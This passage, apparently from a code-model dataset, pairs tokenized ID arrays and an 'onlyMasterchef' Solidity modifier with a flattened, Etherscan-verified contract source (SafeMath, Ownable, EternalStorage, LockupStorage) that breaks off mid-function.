[ 1, 565, 445, 2495, 12, 11890, 5034, 619, 13, 2713, 16618, 1135, 261, 11890, 10392, 13, 288, 203, 3639, 327, 2254, 10392, 12, 92, 1671, 12915, 1741, 13269, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/43113/0xE81E84F451EbD1825885023f81C9547C741F323c/sources/fMeso.sol
@dev Throws if called by any account other than the Masterchef.
modifier onlyMasterchef() { require(msg.sender == masterchef, "Caller is not the Masterchef"); _; }
7,185,476
[ 1, 4625, 348, 7953, 560, 30, 225, 632, 5206, 22435, 309, 2566, 635, 1281, 2236, 1308, 2353, 326, 13453, 343, 10241, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1338, 7786, 343, 10241, 1435, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 4171, 343, 10241, 16, 315, 11095, 353, 486, 326, 13453, 343, 10241, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-07-12 */ // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: contracts/src/common/libs/Decimals.sol pragma solidity 0.5.17; /** * Library for emulating calculations involving decimals. */ library Decimals { using SafeMath for uint256; uint120 private constant BASIS_VAKUE = 1000000000000000000; /** * @dev Returns the ratio of the first argument to the second argument. * @param _a Numerator. * @param _b Fraction. * @return Calculated ratio. */ function outOf(uint256 _a, uint256 _b) internal pure returns (uint256 result) { if (_a == 0) { return 0; } uint256 a = _a.mul(BASIS_VAKUE); if (a < _b) { return 0; } return (a.div(_b)); } /** * @dev Returns multiplied the number by 10^18. * @param _a Numerical value to be multiplied. * @return Multiplied value. */ function mulBasis(uint256 _a) internal pure returns (uint256) { return _a.mul(BASIS_VAKUE); } /** * @dev Returns divisioned the number by 10^18. * This function can use it to restore the number of digits in the result of `outOf`. * @param _a Numerical value to be divisioned. * @return Divisioned value. */ function divBasis(uint256 _a) internal pure returns (uint256) { return _a.div(BASIS_VAKUE); } } // File: contracts/interface/IAddressConfig.sol // SPDX-License-Identifier: MPL-2.0 pragma solidity >=0.5.17; interface IAddressConfig { function token() external view returns (address); function allocator() external view returns (address); function allocatorStorage() external view returns (address); function withdraw() external view returns (address); function withdrawStorage() external view returns (address); function marketFactory() external view returns (address); function marketGroup() external view returns (address); function propertyFactory() external view returns (address); function propertyGroup() external view returns (address); function metricsGroup() external view returns (address); function metricsFactory() external view returns (address); function policy() external view returns (address); function policyFactory() external view returns (address); function policySet() external view returns (address); function policyGroup() external view returns (address); function lockup() external view returns (address); function lockupStorage() external view returns (address); function voteTimes() external view returns (address); function voteTimesStorage() external view returns (address); function voteCounter() external view returns (address); function voteCounterStorage() external view returns (address); function setAllocator(address _addr) external; function setAllocatorStorage(address _addr) external; function setWithdraw(address _addr) external; function setWithdrawStorage(address _addr) external; function setMarketFactory(address _addr) external; function setMarketGroup(address _addr) external; function setPropertyFactory(address _addr) external; function setPropertyGroup(address _addr) external; function setMetricsFactory(address _addr) external; function setMetricsGroup(address _addr) external; function setPolicyFactory(address _addr) external; function setPolicyGroup(address _addr) external; function setPolicySet(address _addr) external; function setPolicy(address _addr) external; function setToken(address _addr) external; function setLockup(address _addr) external; function setLockupStorage(address _addr) external; function setVoteTimes(address _addr) external; function setVoteTimesStorage(address _addr) external; function setVoteCounter(address _addr) external; function setVoteCounterStorage(address _addr) external; } // File: contracts/src/common/config/UsingConfig.sol pragma solidity 0.5.17; /** * Module for using AddressConfig contracts. */ contract UsingConfig { address private _config; /** * Initialize the argument as AddressConfig address. */ constructor(address _addressConfig) public { _config = _addressConfig; } /** * Returns the latest AddressConfig instance. */ function config() internal view returns (IAddressConfig) { return IAddressConfig(_config); } /** * Returns the latest AddressConfig address. */ function configAddress() external view returns (address) { return _config; } } // File: contracts/interface/IUsingStorage.sol // SPDX-License-Identifier: MPL-2.0 pragma solidity >=0.5.17; interface IUsingStorage { function getStorageAddress() external view returns (address); function createStorage() external; function setStorage(address _storageAddress) external; function changeOwner(address newOwner) external; } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/src/common/storage/EternalStorage.sol pragma solidity 0.5.17; /** * Module for persisting states. * Stores a map for `uint256`, `string`, `address`, `bytes32`, `bool`, and `int256` type with `bytes32` type as a key. */ contract EternalStorage { address private currentOwner = msg.sender; mapping(bytes32 => uint256) private uIntStorage; mapping(bytes32 => string) private stringStorage; mapping(bytes32 => address) private addressStorage; mapping(bytes32 => bytes32) private bytesStorage; mapping(bytes32 => bool) private boolStorage; mapping(bytes32 => int256) private intStorage; /** * Modifiers to validate that only the owner can execute. */ modifier onlyCurrentOwner() { require(msg.sender == currentOwner, "not current owner"); _; } /** * Transfer the owner. * Only the owner can execute this function. */ function changeOwner(address _newOwner) external { require(msg.sender == currentOwner, "not current owner"); currentOwner = _newOwner; } // *** Getter Methods *** /** * Returns the value of the `uint256` type that mapped to the given key. */ function getUint(bytes32 _key) external view returns (uint256) { return uIntStorage[_key]; } /** * Returns the value of the `string` type that mapped to the given key. */ function getString(bytes32 _key) external view returns (string memory) { return stringStorage[_key]; } /** * Returns the value of the `address` type that mapped to the given key. */ function getAddress(bytes32 _key) external view returns (address) { return addressStorage[_key]; } /** * Returns the value of the `bytes32` type that mapped to the given key. */ function getBytes(bytes32 _key) external view returns (bytes32) { return bytesStorage[_key]; } /** * Returns the value of the `bool` type that mapped to the given key. */ function getBool(bytes32 _key) external view returns (bool) { return boolStorage[_key]; } /** * Returns the value of the `int256` type that mapped to the given key. */ function getInt(bytes32 _key) external view returns (int256) { return intStorage[_key]; } // *** Setter Methods *** /** * Maps a value of `uint256` type to a given key. * Only the owner can execute this function. */ function setUint(bytes32 _key, uint256 _value) external onlyCurrentOwner { uIntStorage[_key] = _value; } /** * Maps a value of `string` type to a given key. * Only the owner can execute this function. */ function setString(bytes32 _key, string calldata _value) external onlyCurrentOwner { stringStorage[_key] = _value; } /** * Maps a value of `address` type to a given key. * Only the owner can execute this function. */ function setAddress(bytes32 _key, address _value) external onlyCurrentOwner { addressStorage[_key] = _value; } /** * Maps a value of `bytes32` type to a given key. * Only the owner can execute this function. */ function setBytes(bytes32 _key, bytes32 _value) external onlyCurrentOwner { bytesStorage[_key] = _value; } /** * Maps a value of `bool` type to a given key. * Only the owner can execute this function. */ function setBool(bytes32 _key, bool _value) external onlyCurrentOwner { boolStorage[_key] = _value; } /** * Maps a value of `int256` type to a given key. * Only the owner can execute this function. */ function setInt(bytes32 _key, int256 _value) external onlyCurrentOwner { intStorage[_key] = _value; } // *** Delete Methods *** /** * Deletes the value of the `uint256` type that mapped to the given key. * Only the owner can execute this function. */ function deleteUint(bytes32 _key) external onlyCurrentOwner { delete uIntStorage[_key]; } /** * Deletes the value of the `string` type that mapped to the given key. * Only the owner can execute this function. */ function deleteString(bytes32 _key) external onlyCurrentOwner { delete stringStorage[_key]; } /** * Deletes the value of the `address` type that mapped to the given key. * Only the owner can execute this function. */ function deleteAddress(bytes32 _key) external onlyCurrentOwner { delete addressStorage[_key]; } /** * Deletes the value of the `bytes32` type that mapped to the given key. * Only the owner can execute this function. */ function deleteBytes(bytes32 _key) external onlyCurrentOwner { delete bytesStorage[_key]; } /** * Deletes the value of the `bool` type that mapped to the given key. * Only the owner can execute this function. */ function deleteBool(bytes32 _key) external onlyCurrentOwner { delete boolStorage[_key]; } /** * Deletes the value of the `int256` type that mapped to the given key. * Only the owner can execute this function. */ function deleteInt(bytes32 _key) external onlyCurrentOwner { delete intStorage[_key]; } } // File: contracts/src/common/storage/UsingStorage.sol pragma solidity 0.5.17; /** * Module for contrast handling EternalStorage. */ contract UsingStorage is Ownable, IUsingStorage { address private _storage; /** * Modifier to verify that EternalStorage is set. */ modifier hasStorage() { require(_storage != address(0), "storage is not set"); _; } /** * Returns the set EternalStorage instance. */ function eternalStorage() internal view hasStorage returns (EternalStorage) { return EternalStorage(_storage); } /** * Returns the set EternalStorage address. */ function getStorageAddress() external view hasStorage returns (address) { return _storage; } /** * Create a new EternalStorage contract. * This function call will fail if the EternalStorage contract is already set. * Also, only the owner can execute it. */ function createStorage() external onlyOwner { require(_storage == address(0), "storage is set"); EternalStorage tmp = new EternalStorage(); _storage = address(tmp); } /** * Assigns the EternalStorage contract that has already been created. * Only the owner can execute this function. */ function setStorage(address _storageAddress) external onlyOwner { _storage = _storageAddress; } /** * Delegates the owner of the current EternalStorage contract. * Only the owner can execute this function. */ function changeOwner(address newOwner) external onlyOwner { EternalStorage(_storage).changeOwner(newOwner); } } // File: contracts/src/lockup/LockupStorage.sol pragma solidity 0.5.17; contract LockupStorage is UsingStorage { using SafeMath for uint256; uint256 private constant BASIS = 100000000000000000000000000000000; //AllValue function setStorageAllValue(uint256 _value) internal { bytes32 key = getStorageAllValueKey(); eternalStorage().setUint(key, _value); } function getStorageAllValue() public view returns (uint256) { bytes32 key = getStorageAllValueKey(); return eternalStorage().getUint(key); } function getStorageAllValueKey() private pure returns (bytes32) { return keccak256(abi.encodePacked("_allValue")); } //Value function setStorageValue( address _property, address _sender, uint256 _value ) internal { bytes32 key = getStorageValueKey(_property, _sender); eternalStorage().setUint(key, _value); } function getStorageValue(address _property, address _sender) public view returns (uint256) { bytes32 key = getStorageValueKey(_property, _sender); return eternalStorage().getUint(key); } function getStorageValueKey(address _property, address _sender) private pure returns (bytes32) { return keccak256(abi.encodePacked("_value", _property, _sender)); } //PropertyValue function setStoragePropertyValue(address _property, uint256 _value) internal { bytes32 key = getStoragePropertyValueKey(_property); eternalStorage().setUint(key, _value); } function getStoragePropertyValue(address _property) public view returns (uint256) { bytes32 key = getStoragePropertyValueKey(_property); return eternalStorage().getUint(key); } function getStoragePropertyValueKey(address _property) private pure returns (bytes32) { return keccak256(abi.encodePacked("_propertyValue", _property)); } //InterestPrice function setStorageInterestPrice(address _property, uint256 _value) internal { // The previously used function // This function is only used in testing eternalStorage().setUint(getStorageInterestPriceKey(_property), _value); } function getStorageInterestPrice(address _property) public view returns (uint256) { return eternalStorage().getUint(getStorageInterestPriceKey(_property)); } function getStorageInterestPriceKey(address _property) private pure returns (bytes32) { return keccak256(abi.encodePacked("_interestTotals", _property)); } //LastInterestPrice function setStorageLastInterestPrice( address _property, address _user, uint256 _value ) internal { eternalStorage().setUint( getStorageLastInterestPriceKey(_property, _user), _value ); } function getStorageLastInterestPrice(address _property, address _user) public view returns (uint256) { return eternalStorage().getUint( getStorageLastInterestPriceKey(_property, _user) ); } function getStorageLastInterestPriceKey(address _property, address _user) private pure returns (bytes32) { return keccak256( abi.encodePacked("_lastLastInterestPrice", _property, 